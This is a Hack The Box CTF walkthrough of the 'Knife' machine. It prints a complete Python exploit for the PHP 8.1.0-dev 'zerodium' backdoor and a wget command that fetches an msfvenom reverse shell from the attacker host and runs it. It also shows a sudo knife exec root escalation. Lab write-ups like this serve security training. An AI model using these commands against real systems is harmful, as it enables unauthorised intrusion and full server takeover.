CTF Walkthroughs, Hack The Box

Hack The Box – Knife Walkthrough

Introduction

This was an easy Linux machine that required to exploit a remote command execution backdoor affecting PHP 8.1.0-dev to obtain initial access and the Knife binary with Sudo permissions enabled to escalate privileges to root.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The scan has identified two open ports, 22 (SSH) and 80 (HTTP). The next step will be to start enumerating HTTP.

Enumerating HTTP

The following page is displayed when accessing the site hosted on port 80:

This did not appear to belong to any open-source application so no known exploits could be used there. When viewing the response headers, a “X-Powered-By” header is displayed, with a value of “PHP/8.1.0-dev”:

When searching for known vulnerabilities in this version of PHP, a result from Packet Storm is found:

https://packetstormsecurity.com/files/162749/PHP-8.1.0-dev-Backdoor-Remote-Command-Injection.html

This appears to be a remote command execution vulnerability due to a backdoor that was left in this version of the software.

Basically, if “zerodium” was added as a user agent (this header needs to be renamed to “User-Agentt” for this to work), any text after it would be interpreted and executed as a system command. The exploti code can be found below:

# Exploit Title: PHP 8.1.0-dev (backdoor) | Remote Command Injection (Unauthenticated)
# Date: 23/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.php.net/
# Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
# Version: PHP 8.1.0-dev
# Tested on: Linux Ubuntu 20.04.2 LTS (5.4.0-72-generic)

# Based on the recent PHP/8.1.0-dev backdoor
# Infomation: https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370
# Reference: https://news-web.php.net/php.internals/113838
# Vuln code in the link above (Original)
# When adding "zerodium" or  at the start of the user-agent field, will execute php code on the server
#  convert_to_string(enc);
#  if (strstr(Z_STRVAL_P(enc), "zerodium")) {
#    zend_try {
#      zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");


#Usage: python3 php_8.1.0-dev.py -u http://10.10.10.242/ -c ls

#!/usr/bin/env python3
import requests
import argparse

from requests.models import parse_header_links 

s = requests.Session()

def checkTarget(args):
    r = s.get(args.url)    
    for h in r.headers.items():
        if "PHP/8.1.0-dev" in h[1]:
            return True
    return False


def execCmd(args):
    r = s.get(args.url, headers={"User-Agentt":"zerodiumsystem(\""+args.cmd+"\");"})
    res = r.text.split("<!DOCTYPE html>")[0]
    if not res:
        print("[-] No Results")
    else:
        print("[+] Results:")
    print(res.strip())


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Target URL (Eg: http://10.10.10.10/)", required=True)
    parser.add_argument("-c", "--cmd", help="Command to execute (Eg: ls,id,whoami)", default="id")
    args = parser.parse_args()

    if checkTarget(args):
        execCmd(args)
    else:
        print("[!] Not Vulnerable or url error")
        exit(0)
    
if __name__ == "__main__":
    main()

This backdoor was related to the Zend PHP framework.

Exploiting PHP Backdoor

Running the exploit script, providing the URL to the vulnerable site and the command to run:

python3 test.py -u http://10.10.10.242 -c whoami

A shell needs to be obtained now. The first step is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case, the Linux Reverse TCP Shell
  • LHOST to specify the localhost IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format for the shell, in this case, ELF

Hosting the reverse shell through the Python Simple HTTP Server:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Running the following command through the exploit to download the shell, make it executable and run it:

python3 test.py -u http://10.10.10.242 -c 'wget 10.10.14.6/shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell'

A reverse shell is now granted. The following steps can be done to obtain an interactive shell:

  • Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
  • Hitting CTRL+Z to background the process and go back to the local host
  • Running “stty raw -echo” on the local host
  • Hitting “fg + ENTER” to go back to the reverse shell

Privilege Escalation

When executing sudo -l, it appears the current user can execute /usr/bin/knife as root:

Knife is a component that is part of Chef, a configuration management tool written in Ruby and Erlang. When looking at its documentation, the “exec” argument can be used to execute Ruby code:

Using the exec argument to run /bin/sh through Ruby:

sudo knife exec -E "exec '/bin/sh'"

Conclusion

This was a pretty unusual box and a lot of users in the community did not like it, although it was still interesting for me to see how a popular and well-known software such as PHP had a backdoored release that would grant remote command execution to unauthenticated attackers